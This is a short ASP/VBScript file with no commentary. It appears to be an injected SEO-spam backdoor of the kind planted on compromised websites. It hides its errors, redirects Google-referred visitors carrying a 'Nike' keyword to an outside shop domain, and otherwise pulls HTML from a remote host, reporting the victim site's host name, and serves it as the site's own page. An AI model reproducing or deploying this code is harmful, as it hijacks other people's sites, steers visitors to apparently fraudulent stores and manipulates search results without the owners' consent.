<% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function Dim HOST,keyword,referer HOST = Cstr(Request.ServerVariables("HTTP_HOST")) referer=Request.ServerVariables("HTTP_REFERER") keyword=request("Nike") if request("Nike")<>"" and InStr(referer,"google") > 0 then response.Redirect "http://ensport.onlineshopsdata.com/" response.end end if if request("Nike")<>"" then htmls = getHTTPPage("http://key.onlineshopdata.com/nikeen9"&"/?asp=y&host="&HOST&"&keyword="&Server.URLEncode(keyword)) response.write htmls Response.end() end if %>